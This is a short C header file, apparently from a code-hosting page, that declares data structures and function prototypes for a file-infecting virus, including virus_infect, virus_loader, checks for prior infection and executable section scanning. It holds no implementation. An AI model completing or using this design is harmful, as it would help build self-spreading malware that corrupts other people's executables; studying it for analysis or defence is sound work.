39 lines
913 B
C
39 lines
913 B
C
#include "stdfuncs.h"
|
|
#include "aaa.h"
|
|
#include "zzz.h"
|
|
#include "pic-peter/peter.h"
|
|
#include "peb.h"
|
|
|
|
#define STUB_LEN 77
|
|
|
|
typedef struct _VPTRS {
|
|
void *virusStart;
|
|
void *virusEnd;
|
|
int32_t virusSz;
|
|
void *virusEntry;
|
|
void *virusBase;
|
|
} virus_pointers;
|
|
|
|
typedef struct {
|
|
char exe;
|
|
char read;
|
|
char write;
|
|
char name[8];
|
|
uint32_t freeSpace;
|
|
} section;
|
|
|
|
typedef struct {
|
|
section secs[16];
|
|
uint32_t numSecs;
|
|
char infLike; //the higher the value
|
|
//the more likely is an infection
|
|
} infect_info;
|
|
|
|
void *virus_loader();
|
|
int virus_infect(char *path, char *secName, uint32_t secFlags);
|
|
void virus_get_pointers(virus_pointers *vptrs);
|
|
int virus_check_infected(infect_info *ii,
|
|
char *path, uint32_t stubSz);
|
|
void virus_sign_infected(char *img, uint32_t stubSz);
|
|
int virus_check_for_name_in_sections(infect_info *ii, char *name);
|